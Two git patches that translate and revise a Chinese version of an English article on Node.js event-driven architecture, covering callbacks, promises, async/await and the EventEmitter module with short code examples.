Date: Mon, 29 May 2017 15:36:18 +0800
Subject: [PATCH 549/638] =?UTF-8?q?wip:=20=E7=BF=BB=E8=AF=91=20=E7=90=86?=
 =?UTF-8?q?=E8=A7=A3NodeJS=E4=B8=AD=E5=9F=BA=E4=BA=8E=E4=BA=8B=E4=BB=B6?=
 =?UTF-8?q?=E9=A9=B1=E5=8A=A8=E7=9A=84=E6=9E=B6=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...nding-node-js-event-driven-architecture.md | 157 +++++++++---------
 1 file changed, 77 insertions(+), 80 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 62c5f432756..e3fbdc236ce 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -4,27 +4,27 @@
 > * 译者：
 > * 校对者：
 
-# Understanding Node.js Event-Driven Architecture #
+# 理解NodeJS中基于事件驱动的架构 #
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-Most of Node’s objects — like HTTP requests, responses, and streams — implement the `EventEmitter` module so they can provide a way to emit and listen to events.
+对于绝大部分的nodejs中的对象，比如HTTP请求、相应以及'流',他们都是使用了`eventEmitter`模块的支持来监听和发射事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-The simplest form of the event-driven nature is the callback style of some of the popular Node.js functions — for example, `fs.readFile`. In this analogy, the event will be fired once (when Node is ready to call the callback) and the callback acts as the event handler.
+最简单的基于事件驱动的样子是一些流行的nodejs函数回调风格,例如：fs.readFile.在这个类比模型中，callback扮演着事件处理者的角色，当Node准备好调用callback的时候：事件将会被发射一次。
 
-Let’s explore this basic form first.
+让我们来探究一下这个基础形式。
 
-#### Call me when you’re ready, Node! ####
+#### Node,在你准备好的时候调用我把！ ####
 
-The original way Node handled asynchronous events was with callback. This was a long time ago, before JavaScript had native promises support and the async/await feature.
+在很久以前，当没有原生的promise、async/await特性支持的时候，Node最原始的处理异步的方式是使用callback。
 
-Callbacks are basically just functions that you pass to other functions. This is possible in JavaScript because functions are first class objects.
+callback函数基本上是你传给其他函数的函数，在JS中这是可能的，因为方法是第一级的对象。
 
-It’s important to understand that callbacks do not indicate an asynchronous call in the code. A function can call the callback both synchronously and asynchronously.
+理解`callback函数并不是在代码中被异步调用的`非常重要的，在函数中，我们可以随心所欲的同步/异步调用callback。
 
-For example, here’s a host function `fileSize` that accepts a callback function `cb` and can invoke that callback function both synchronously and asynchronously based on a condition:
+例如,在下面这种情况中，主函数fileSize包含一个回调函数cb,并且会在同步和异步的情况下调用这个回调函数：
 
 ```
 function fileSize (fileName, cb) {
@@ -40,9 +40,9 @@ function fileSize (fileName, cb) {
 }
 ```
 
-Note that this is a bad practice that leads to unexpected errors. Design host functions to consume callback either always synchronously or always asynchronously.
+但是我们要记住，这种把主函数在处理callback的时候同时采用同步和异步的方式并不是一个好的实践，它也许会带来一些难以处理的错误。
 
-Let’s explore a simple example of a typical asynchronous Node function that’s written with a callback style:
+我们再来看看下面这种典型的用callback风格处理的异步node函数：
 
 ```
 const readFileAsArray = function(file, cb) {
@@ -57,9 +57,9 @@ const readFileAsArray = function(file, cb) {
 };
 ```
 
-`readFileAsArray` takes a file path and a callback function. It reads the file content, splits it into an array of lines, and calls the callback function with that array.
+readFileAsArray有文件的路径和callback，它把文件读取并切割成一行一行的数组来当做参数调用callback
 
-Here’s an example use for it. Assuming that we have the file `numbers.txt` in the same directory with content like this:
+这里有一个使用他的实例，假设同目录下我们有一个numbers.txt文件中有如下内容:
 
 ```
 10
@@ -70,7 +70,7 @@ Here’s an example use for it. Assuming that we have the file `numbers.txt` in
 15
 ```
 
-If we have a task to count the odd numbers in that file, we can use `readFileAsArray` to simplify the code:
+我们想求这个文件中的基数之和，我们可以像下面这样调用readFileAsArray这个函数：
 
 ```
 readFileAsArray('./numbers.txt', (err, lines) => {
@@ -82,15 +82,15 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 });
 ```
 
-The code reads the numbers content into an array of strings, parses them as numbers, and counts the odd ones.
+代码会读取数组中的字符串内容，解析成数字并求奇数之和。
 
-Node’s callback style is used purely here. The callback has an error-first argument `err` that’s nullable and we pass the callback as the last argument for the host function. You should always do that in your functions because users will probably assume that. Make the host function receive the callback as its last argument and make the callback expect an error object as its first argument.
+在NodeJS的回调风格中的写法是这样的：第一个参数err代表着错误处理，当是null的时候我们就是正常调用callback,用户和作者都习惯了这样写，主函数接受callback作为最后一个参数并且调用的时候给callback第一个参数传递err对象。
 
 #### The modern JavaScript alternative to Callbacks ####
 
-In modern JavaScript, we have promise objects. Promises can be an alternative to callbacks for asynchronous APIs. Instead of passing a callback as an argument and handling the error in the same place, a promise object allows us to handle success and error cases separately and it also allows us to chain multiple asynchronous calls instead of nesting them.
+在高版本的JS中，我们有Promise对象，作为callback的有力竞争者，它的异步API替代了把callback作为一个参数传递并且同时处理错误信息，一个Promise对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调地狱。
 
-If the `readFileAsArray` function supports promises, we can use it as follows:
+如果刚刚的readFileAsArray方法允许使用Promise，它的调用将是这个样子的：
 
 ```
 readFileAsArray('./numbers.txt')
@@ -102,9 +102,9 @@ readFileAsArray('./numbers.txt')
   .catch(console.error);
 ```
 
-Instead of passing in a callback function, we called a `.then` function on the return value of the host function. This `.then` function usually gives us access to the same lines array that we get in the callback version, and we can do our processing on it as before. To handle errors, we add a `.catch` call on the result and that gives us access to an error when it happens.
+作为调用callback的替代品，我们用.then函数来接受主方法的返回值；.then函数通常给我们和之前callback一样的参数，我们处理起来和以前一样，但是对于错误我们使用.catch函数来处理。
 
-Making the host function support a promise interface is easier in modern JavaScript thanks to the new Promise object. Here’s the `readFileAsArray` function modified to support a promise interface in addition to the callback interface it already supports:
+这要非常感谢新的Promise对象， 它让现代JavaScript中主函数支持Promise接口更加EZ，我们把刚刚的readFileAsArray方法用Promise来改写一下：
 
 ```
 const readFileAsArray = function(file, cb = () => {}) {
@@ -123,19 +123,19 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-So we make the function return a Promise object, which wraps the `fs.readFile` async call. The promise object exposes two arguments, a `resolve` function and a `reject` function.
+现在这个函数返回了一个Promise对象，这里面包含着`fs.readFile`这个异步调用，Promise对象中同时包含一个resolve函数和reject函数。
 
-Whenever we want to invoke the callback with an error we use the promise `reject` function as well, and whenever we want to invoke the callback with data we use the promise `resolve` function as well.
+reject函数的作用就和我们之前callback中处理错误是一样的，而resolve函数也就和我们正常处理返回值是一样的。
 
-The only other thing we needed to do in this case is to have a default value for this callback argument in case the code is being used with the promise interface. We can use a simple, default empty function in the argument for that case: `() => {}`.
+我们剩下唯一要做的就是在实例中制定一个reject resolve函数的默认值，在Promise中，我们只要写一个空函数即可，例如\(\) =&gt; {}.
 
 #### Consuming promises with async/await ####
 
-Adding a promise interface makes your code a lot easier to work with when there is a need to loop over an async function. With callbacks, things become messy.
+当你需要一个常常的异步loop函数的时候，使用promise会让你coding的时候比callback的回调地狱简单一些，
 
-Promises improve that a little bit, and function generators improve on that a little bit more. This said, a more recent alternative to working with async code is to use the `async` function, which allows us to treat async code as if it was synchronous, making it a lot more readable overall.
+Promise是一个小小的进步，generator也是一个小小的进步，但是async/await函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
 
-Here’s how we can consume the `readFileAsArray` function with async/await:
+我们用async/await函数特性来改写一下刚刚的调用readFileAsArray过程：
 
 ```
 async function countOdd () {
@@ -152,24 +152,24 @@ async function countOdd () {
 countOdd();
 ```
 
-We first create an async function, which is just a normal function with the word `async` before it. Inside the async function, we call the `readFileAsArray` function as if it returns the lines variable, and to make that work, we use the keyword `await`. After that, we continue the code as if the `readFileAsArray` call was synchronous.
+首先我们创建了一个async函数，只是在定义functiond的时候前面加了async关键字，在async函数里，我们把readFileAsArray这个异步方法用await来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
 
-To get things to run, we execute the async function. This is very simple and more readable. To work with errors, we need to wrap the async call in a `try`/`catch` statement.
+当async函数执行的过程是非常易读的，处理错误，我们只需要使用try/catch即可。
 
-With this async/await feature, we did not have to use any special API (like .then and .catch). We just labeled functions differently and used pure JavaScript for the code.
+在async/await函数中我们没有使用特殊API\(像: .then and .catch这种\)，我们仅仅使用了特殊关键字，但是像普通函数那样coding.
 
-We can use the async/await feature with any function that supports a promise interface. However, we can’t use it with callback-style async functions (like setTimeout for example).
+我们可以在支持Promise的函数中嵌套async/await函数，但是不能在callback风格的异步方法中使用它，比如setTimeout等等。
 
 ### The EventEmitter Module ###
 
-The EventEmitter is a module that facilitates communication between objects in Node. EventEmitter is at the core of Node asynchronous event-driven architecture. Many of Node’s built-in modules inherit from EventEmitter.
+EventEmitter是NodeJS中基于事件驱动的架构的核心，它是促进了各个对象之间交流的模块，很多nodejs的原生模块都使用了这个模块。
 
-The concept is simple: emitter objects emit named events that cause previously registered listeners to be called. So, an emitter object basically has two main features:
+关于概念这一块很简单，Emitter对象emit命名好的事件，使得之前注册好的监听器被调用起来，Emitter对象有两个显著特点：
 
-- Emitting name events.
-- Registering and unregistering listener functions.
+* emit注册好的事件
+* 注册和取消注册listener方法
 
-To work with the EventEmitter, we just create a class that extends EventEmitter.
+如何使用呢？我们只需要穿件一个类来继承EventEmitter即可：
 
 ```
 class MyEmitter extends EventEmitter {
@@ -183,19 +183,19 @@ Emitter objects are what we instantiate from the EventEmitter-based classes:
 const myEmitter = new MyEmitter();
 ```
 
-At any point in the lifecycle of those emitter objects, we can use the emit function to emit any named event we want.
+有了实例，就可以在实例的全部生命周期里，emit任何我们命名好的方法了。
 
 ```
 myEmitter.emit('something-happened');
 ```
 
-Emitting an event is the signal that some condition has occurred. This condition is usually about a state change in the emitting object.
+emit一个事件就代表着有些情况的发生，这些情况通常是关于Emitter对象的状态改变的。
 
-We can add listener functions using the `on` method, and those listener functions will be executed every time the emitter object emits their associated name event.
+我们使用on方法来注册，然后这些监听的方法将会在每一个Emitter对象emit的时候执行。
 
 #### Events !== Asynchrony ####
 
-Let’s take a look at an example:
+让我们看一个例子：
 
 ```
 const EventEmitter = require('events');
@@ -218,11 +218,9 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-Class `WithLog` is an event emitter. It defines one instance function `execute`. This `execute` function receives one argument, a task function, and wraps its execution with log statements. It fires events before and after the execution.
+定义的WithLog类是一个event emitter.它有个方法excutej接受一个参数，并且有很多执行顺序的输出log,并且分别在开始和结束的时候emit了两次。
 
-To see the sequence of what will happen here, we register listeners on both named events and finally execute a sample task to trigger things.
-
-Here’s the output of that:
+让我们来看看运行它会有什么样的结果：
 
 ```
 Before executing
@@ -232,17 +230,17 @@ Done with execute
 After executing
 ```
 
-What I want you to notice about the output above is that it all happens synchronously. There is nothing asynchronous about this code.
+需要我们注意的是所有的输出log都是同步的，在代码里没有任何异步操作。
 
-- We get the “Before executing” line first.
-- The `begin` named event then causes the “About to execute” line.
-- The actual execution line then outputs the “*** Executing task ***” line.
-- The `end` named event then causes the “Done with execute” line
-- We get the “After executing” line last.
+* 第一步‘’Before executing‘’
+* 命名为begin的事件的emit导致了‘’About to execute‘’
+* 内含方法的执行输出了“\*\*\* Executing task \*\*\*”
+* 另一个命名事件输出“Done with execute”
+* 最后“After executing”
 
-Just like plain-old callbacks, do not assume that events mean synchronous or asynchronous code.
+就像之前的callback,我们在events中并没有假设同步或者异步的代码
 
-This is important, because if we pass an asynchronous `taskFunc` to `execute`, the events emitted will no longer be accurate.
+这一点很重要，假如我们有异步代码，那么很多结果就会迥然不同。
 
 We can simulate the case with a `setImmediate` call:
 
@@ -266,15 +264,15 @@ After executing
 *** Executing task ***
 ```
 
-This is wrong. The lines after the async call, which were caused the “Done with execute” and “After executing” calls, are not accurate any more.
+这明显有问题，它的输出看起来不再精确了。
 
-To emit an event after an asynchronous function is done, we’ll need to combine callbacks (or promises) with this event-based communication. The example below demonstrates that.
+当异步方法结束的时候emit一个事件,我们需要把callback/promise与合并事件驱动的交流合并起来，刚刚的例子证明了这一点。
 
-One benefit of using events instead of regular callbacks is that we can react to the same signal multiple times by defining multiple listeners. To accomplish the same with callbacks, we have to write more logic inside the single available callback. Events are a great way for applications to allow multiple external plugins to build functionality on top of the application’s core. You can think of them as hook points to allow for customizing the story around a state change.
+使用事件驱动来代替传统callback有一个好处是在定义多个listener后，我们可以多次对同一个emit做出反应。如果要用callback来做到这一点的话，我们需要些很多的逻辑在同一个callback中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
 
 #### Asynchronous Events ####
 
-Let’s convert the synchronous sample example into something asynchronous and a little bit more useful.
+我们把刚刚的例子修改一下，在同步代码中加入一点异步代码，让它更有意思一点：
 
 ```
 const fs = require('fs');
@@ -304,11 +302,10 @@ withTime.on('end', () => console.log('Done with execute'));
 withTime.execute(fs.readFile, __filename);
 ```
 
-The `WithTime` class executes an `asyncFunc` and reports the time that’s taken by that `asyncFunc` using `console.time` and `console.timeEnd` calls. It emits the right sequence of events before and after the execution. And also emits error/data events to work with the usual signals of asynchronous calls.
 
-We test a `withTime` emitter by passing it an `fs.readFile` call, which is an asynchronous function. Instead of handling file data with a callback, we can now listen to the data event.
+执行WithTime类的asyncFunc方法，使用console.time和console.timeEnd来返回执行的时间，他emit了正确的序列在执行之前和之后，同样emit  error/data来保证函数的正常工作。
 
-When we execute this code , we get the right sequence of events, as expected, and we get a reported time for the execution, which is helpful:
+执行之后的结果如下，正如我们期待的正确事件序列，我们得到了执行的时间，这是很有用的：
 
 ```
 About to execute
@@ -316,7 +313,7 @@ execute: 4.507ms
 Done with execute
 ```
 
-Note how we needed to combine a callback with an event emitter to accomplish that. If the `asynFunc` supported promises as well, we could use the async/await feature to do the same:
+请注意，我们如何结合一个callback在事件发射器上完成它，如果asynFunc同样支持Promise的话，我们可以使用async/await特性来做到同样的事情：
 
 ```
 class WithTime extends EventEmitter {
@@ -335,13 +332,13 @@ class WithTime extends EventEmitter {
 }
 ```
 
-I don’t know about you, but this is much more readable to me than the callback-based code or any .then/.catch lines. The async/await feature brings us as close as possible to the JavaScript language itself, which I think is a big win.
+这真的看起来更易读了呢！用async/await真的是我们的coding越来越接近JavaScript语言的一大进步。
 
 #### Events Arguments and Errors ####
 
-In the previous example, there were two events that were emitted with extra arguments.
+在之前的例子中，我们使用了额外的参数来发射两个事件。
 
-The error event is emitted with an error object.
+错误的事件使用了错误对象，data事件使用了data对象
 
 ```
 this.emit('error', err);
@@ -353,9 +350,9 @@ The data event is emitted with a data object.
 this.emit('data', data);
 ```
 
-We can use as many arguments as we need after the named event, and all these arguments will be available inside the listener functions we register for these named events.
+在listener函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
 
-For example, to work with the data event, the listener function that we register will get access to the data argument that was passed to the emitted event and that data object is exactly what the `asyncFunc` exposes.
+例如：data事件执行的时候，listener函数在注册的时候就会允许我们的接纳事件发射的data参数，而asyncFunc函数也实实在在暴露给了我们。
 
 ```
 withTime.on('data', (data) => {
@@ -363,9 +360,9 @@ withTime.on('data', (data) => {
 });
 ```
 
-The `error` event is usually a special one. In our callback-based example, if we don’t handle the error event with a listener, the node process will actually exit.
+error事件也是同样是典型的一个。在我们基于callback的例子中，如果没用listener函数来处理错误，node进程就会直接终止-。-
 
-To demonstrate that, make another call to the execute method with a bad argument:
+我们写个例子来展示这一点：
 
 ```
 class WithTime extends EventEmitter {
@@ -397,9 +394,9 @@ Error: ENOENT: no such file or directory, open ''
 
 ```
 
-The second execute call will be affected by this crash and will potentially not get executed at all.
+第二个执行调用将受到之前崩溃的影响，并可能不会得到执行。
 
-If we register a listener for the special `error` event, the behavior of the node process will change. For example:
+如果我们注册一个listener来处理它，情况就不一样了：
 
 ```
 withTime.on('error', (err) => {
@@ -415,7 +412,7 @@ If we do the above, the error from the first execute call will be reported but t
 execute: 4.276ms
 ```
 
-Note that Node currently behaves differently with promise-based functions and just outputs a warning, but that will eventually change:
+记住：Node目前的表现和Promise不同 ：只是输出警告，但最终会改变：
 
 ```
 UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open ''
@@ -423,9 +420,9 @@ UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1):
 DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
 ```
 
-The other way to handle exceptions from emitted errors is to register a listener for the global `uncaughtException` process event. However, catching errors globally with that event is a bad idea.
+另一种方式处理emit的error的方法是注册一个全局的uncaughtException进程事件，但是，全局的捕获错误对象并不是一个好办法。
 
-The standard advice about `uncaughtException` is to avoid using it, but if you must do (say to report what happened or do cleanups), you should just let the process exit anyway:
+标准的关于uncaughtException的建议是不要使用他，你一定要用的话，应该让进程在此结束：
 
 ```
 process.on('uncaughtException', (err) => {
@@ -439,14 +436,13 @@ process.on('uncaughtException', (err) => {
 });
 ```
 
-However, imagine that multiple error events happen at the exact same time. This means the `uncaughtException` listener above will be triggered multiple times, which might be a problem for some cleanup code. An example of this is when multiple calls are made to a database shutdown action.
+然而，想象在同一时间发生多个错误事件。这意味着上述的uncaughtException听众会多次触发，这可能对一些清理代码是一个问题。典型的一个例子是，当对数据库关闭操作进行多次调用时。
 
-The `EventEmitter` module exposes a `once` method. This method signals to invoke the listener just once, not every time it happens. So, this is a practical use case to use with the uncaughtException because with the first uncaught exception we’ll start doing the cleanup and we know that we’re going to exit the process anyway.
+EventEmitter模块暴露一个once方法。这种方法只需要调用一次监听器，而不是每次发生。所以，这是一个实际使用的uncaughtException用例因为第一未捕获的异常我们就开始做清理工作，无论如何我们要知道退出的过程。
 
 #### Order of Listeners ####
 
-If we register multiple listeners for the same event, the invocation of those listeners will be in order. The first listener that we register is the first listener that gets invoked.
-
+如果我们在一个事件上注册多个队列，并且期望这些listener是有顺序的，会按顺序来调用
 ```
 // प्रथम
 withTime.on('data', (data) => {
@@ -461,9 +457,9 @@ withTime.on('data', (data) => {
 withTime.execute(fs.readFile, __filename);
 ```
 
-The above code will cause the “Length” line to be logged before the “Characters” line, because that’s the order in which we defined those listeners.
+上面代码的输出结果里，“Length”将会比“Characters”在前，因为我们就是这样定义他们的。
 
-If you need to define a new listener, but have that listener invoked first, you can use the `prependListener` method:
+如果你想定义一个Listener,还想插队到前面的话，要使用prependListener方法来注册
 
 ```
 // प्रथम
@@ -479,12 +475,13 @@ withTime.prependListener('data', (data) => {
 withTime.execute(fs.readFile, __filename);
 ```
 
-The above will cause the “Characters” line to be logged first.
+这时“Characters”会在“Length”之前。
+
+最后，想移除的话，用removeListener方法就好啦！
 
-And finally, if you need to remove a listener, you can use the `removeListener` method.
 
-That’s all I have for this topic. Thanks for reading! Until next time!
 
+感谢阅读，下次再会，以上。
 
 *If you found this article helpful, please click the💚 below. Follow me for more articles on Node and JavaScript.*
 

From a680a3a8c94ff510f72a030ab99f7a0bd2587939 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Mon, 29 May 2017 21:50:18 +0800
Subject: [PATCH 550/638] update

---
 ...nding-node-js-event-driven-architecture.md | 109 +++++++++---------
 1 file changed, 55 insertions(+), 54 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index e3fbdc236ce..8d71687cd59 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -8,43 +8,43 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-对于绝大部分的nodejs中的对象，比如HTTP请求、相应以及'流',他们都是使用了`eventEmitter`模块的支持来监听和发射事件。
+对于绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“,他们都是使用了 `eventEmitter` 模块的支持来监听和发射事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-最简单的基于事件驱动的样子是一些流行的nodejs函数回调风格,例如：fs.readFile.在这个类比模型中，callback扮演着事件处理者的角色，当Node准备好调用callback的时候：事件将会被发射一次。
+事件驱动最简单的形式是流行的nodejs函数回调风格，例如：`fs.readFile`。在这个类比模型中，callback 扮演着事件处理者的角色，当 Node 准备好调用 callback 的时候：事件将会被发射一次。
 
 让我们来探究一下这个基础形式。
 
-#### Node,在你准备好的时候调用我把！ ####
+#### Node,在你准备好的时候调用我吧！ ####
 
-在很久以前，当没有原生的promise、async/await特性支持的时候，Node最原始的处理异步的方式是使用callback。
+在很久以前，没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
 
-callback函数基本上是你传给其他函数的函数，在JS中这是可能的，因为方法是第一级的对象。
+callback 函数从本质上讲就是作为参数传递给其他函数的函数，在JS中这是可能的，因为函数是一等公民。
 
-理解`callback函数并不是在代码中被异步调用的`非常重要的，在函数中，我们可以随心所欲的同步/异步调用callback。
+callback 函数并不必要异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用callback。
 
-例如,在下面这种情况中，主函数fileSize包含一个回调函数cb,并且会在同步和异步的情况下调用这个回调函数：
+例如,在下面这种情况中，主函数 `fileSize` 包含一个回调函数 `cb`，并且会在同步和异步的情况下调用这个回调函数：
 
-```
+```js
 function fileSize (fileName, cb) {
   if (typeof fileName !== 'string') {
-    return cb(new TypeError('argument should be string')); // Sync
+    return cb(new TypeError('argument should be string')); // 同步
   }
   
   fs.stat(fileName, (err, stats) => {
-    if (err) { return cb(err); } // Async
+    if (err) { return cb(err); } // 异步
     
-    cb(null, stats.size); // Async
+    cb(null, stats.size); // 异步
   });
 }
 ```
 
-但是我们要记住，这种把主函数在处理callback的时候同时采用同步和异步的方式并不是一个好的实践，它也许会带来一些难以处理的错误。
+请注意，这种把主函数在处理 callback 的时候同时采用同步和异步的方式并不是一个好的实践，它也许会带来一些预期外的错误。
 
-我们再来看看下面这种典型的用callback风格处理的异步node函数：
+我们再来看看下面这种典型的用 callback 风格处理的异步 Node 函数：
 
-```
+```js
 const readFileAsArray = function(file, cb) {
   fs.readFile(file, function(err, data) {
     if (err) {
@@ -57,9 +57,9 @@ const readFileAsArray = function(file, cb) {
 };
 ```
 
-readFileAsArray有文件的路径和callback，它把文件读取并切割成一行一行的数组来当做参数调用callback
+`readFileAsArray` 有文件的路径和 callback，它把文件读取并切割成一行一行的数组来当做参数调用callback。
 
-这里有一个使用他的实例，假设同目录下我们有一个numbers.txt文件中有如下内容:
+这里有一个使用它的示例，假设同目录下我们有一个 `numbers.txt` 文件中有如下内容:
 
 ```
 10
@@ -70,9 +70,9 @@ readFileAsArray有文件的路径和callback，它把文件读取并切割成一
 15
 ```
 
-我们想求这个文件中的基数之和，我们可以像下面这样调用readFileAsArray这个函数：
+要找出这个文件中的奇数的个数，我们可以像下面这样调用 `readFileAsArray` 函数：
 
-```
+```js
 readFileAsArray('./numbers.txt', (err, lines) => {
   if (err) throw err;
 
@@ -82,17 +82,17 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 });
 ```
 
-代码会读取数组中的字符串内容，解析成数字并求奇数之和。
+代码会读取数组中的字符串内容，解析成数字并统计奇数个数。
 
-在NodeJS的回调风格中的写法是这样的：第一个参数err代表着错误处理，当是null的时候我们就是正常调用callback,用户和作者都习惯了这样写，主函数接受callback作为最后一个参数并且调用的时候给callback第一个参数传递err对象。
+在 NodeJS 的回调风格中的写法是这样的：第一个参数err代表着错误处理，当是 `null` 的时候我们就是正常调用 callback,用户和作者都习惯了这样写，主函数接受 callback 作为最后一个参数并且调用的时候给 callback 第一个参数传递 err 对象。
 
 #### The modern JavaScript alternative to Callbacks ####
 
-在高版本的JS中，我们有Promise对象，作为callback的有力竞争者，它的异步API替代了把callback作为一个参数传递并且同时处理错误信息，一个Promise对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调地狱。
+在高版本的 JS 中，我们有 Promise 对象，作为 callback 的有力竞争者，它的异步API替代了把 callback 作为一个参数传递并且同时处理错误信息，一个 Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调地狱。
 
-如果刚刚的readFileAsArray方法允许使用Promise，它的调用将是这个样子的：
+如果刚刚的 `readFileAsArray` 方法允许使用 Promise，它的调用将是这个样子的：
 
-```
+```js
 readFileAsArray('./numbers.txt')
   .then(lines => {
     const numbers = lines.map(Number);
@@ -102,11 +102,11 @@ readFileAsArray('./numbers.txt')
   .catch(console.error);
 ```
 
-作为调用callback的替代品，我们用.then函数来接受主方法的返回值；.then函数通常给我们和之前callback一样的参数，我们处理起来和以前一样，但是对于错误我们使用.catch函数来处理。
+作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值；`.then`函数通常给我们和之前 callback 一样的参数，我们处理起来和以前一样，但是对于错误我们使用`.catch`函数来处理。
 
-这要非常感谢新的Promise对象， 它让现代JavaScript中主函数支持Promise接口更加EZ，我们把刚刚的readFileAsArray方法用Promise来改写一下：
+这要非常感谢新的 Promise 对象， 它让现代 JavaScript 中主函数支持 Promise 接口更加EZ，我们把刚刚的 `readFileAsArray` 方法用 Promise 来改写一下：
 
-```
+```js
 const readFileAsArray = function(file, cb = () => {}) {
   return new Promise((resolve, reject) => {
     fs.readFile(file, function(err, data) {
@@ -123,21 +123,21 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-现在这个函数返回了一个Promise对象，这里面包含着`fs.readFile`这个异步调用，Promise对象中同时包含一个resolve函数和reject函数。
+现在这个函数返回了一个Promise对象，这里面包含着`fs.readFile`这个异步调用，Promise对象中同时包含一个 resolve 函数和 reject 函数。
 
-reject函数的作用就和我们之前callback中处理错误是一样的，而resolve函数也就和我们正常处理返回值是一样的。
+reject 函数的作用就和我们之前 callback 中处理错误是一样的，而 resolve 函数也就和我们正常处理返回值是一样的。
 
-我们剩下唯一要做的就是在实例中制定一个reject resolve函数的默认值，在Promise中，我们只要写一个空函数即可，例如\(\) =&gt; {}.
+我们剩下唯一要做的就是在实例中制定一个 reject resolve 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如\(\) =&gt; {}.
 
 #### Consuming promises with async/await ####
 
-当你需要一个常常的异步loop函数的时候，使用promise会让你coding的时候比callback的回调地狱简单一些，
+当你需要一个常常的异步 loop 函数的时候，使用 promise 会让你 coding 的时候比 callback 的回调地狱简单一些，
 
-Promise是一个小小的进步，generator也是一个小小的进步，但是async/await函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
+Promise 是一个小小的进步，generator 也是一个小小的进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
 
-我们用async/await函数特性来改写一下刚刚的调用readFileAsArray过程：
+我们用 async/await 函数特性来改写一下刚刚的调用 `readFileAsArray` 过程：
 
-```
+```js
 async function countOdd () {
   try {
     const lines = await readFileAsArray('./numbers');
@@ -152,11 +152,11 @@ async function countOdd () {
 countOdd();
 ```
 
-首先我们创建了一个async函数，只是在定义functiond的时候前面加了async关键字，在async函数里，我们把readFileAsArray这个异步方法用await来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
+首先我们创建了一个 `async` 函数，只是在定义 functiond 的时候前面加了 `async` 关键字，在 `async` 函数里，我们把 `readFileAsArray` 这个异步方法用 `await` 来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
 
-当async函数执行的过程是非常易读的，处理错误，我们只需要使用try/catch即可。
+当 `async` 函数执行的过程是非常易读的，处理错误，我们只需要使用 `try/catch` 即可。
 
-在async/await函数中我们没有使用特殊API\(像: .then and .catch这种\)，我们仅仅使用了特殊关键字，但是像普通函数那样coding.
+在 `async/await` 函数中我们没有使用特殊API\(像: .then and .catch这种\)，我们仅仅使用了特殊关键字，但是像普通函数那样coding.
 
 我们可以在支持Promise的函数中嵌套async/await函数，但是不能在callback风格的异步方法中使用它，比如setTimeout等等。
 
@@ -171,7 +171,7 @@ EventEmitter是NodeJS中基于事件驱动的架构的核心，它是促进了
 
 如何使用呢？我们只需要穿件一个类来继承EventEmitter即可：
 
-```
+```js
 class MyEmitter extends EventEmitter {
 
 }
@@ -179,13 +179,13 @@ class MyEmitter extends EventEmitter {
 
 Emitter objects are what we instantiate from the EventEmitter-based classes:
 
-```
+```js
 const myEmitter = new MyEmitter();
 ```
 
 有了实例，就可以在实例的全部生命周期里，emit任何我们命名好的方法了。
 
-```
+```js
 myEmitter.emit('something-happened');
 ```
 
@@ -197,7 +197,7 @@ emit一个事件就代表着有些情况的发生，这些情况通常是关于E
 
 让我们看一个例子：
 
-```
+```js
 const EventEmitter = require('events');
 
 class WithLog extends EventEmitter {
@@ -244,7 +244,7 @@ After executing
 
 We can simulate the case with a `setImmediate` call:
 
-```
+```js
 // ...
 
 withLog.execute(() => {
@@ -274,7 +274,7 @@ After executing
 
 我们把刚刚的例子修改一下，在同步代码中加入一点异步代码，让它更有意思一点：
 
-```
+```js
 const fs = require('fs');
 const EventEmitter = require('events');
 
@@ -315,7 +315,7 @@ Done with execute
 
 请注意，我们如何结合一个callback在事件发射器上完成它，如果asynFunc同样支持Promise的话，我们可以使用async/await特性来做到同样的事情：
 
-```
+```js
 class WithTime extends EventEmitter {
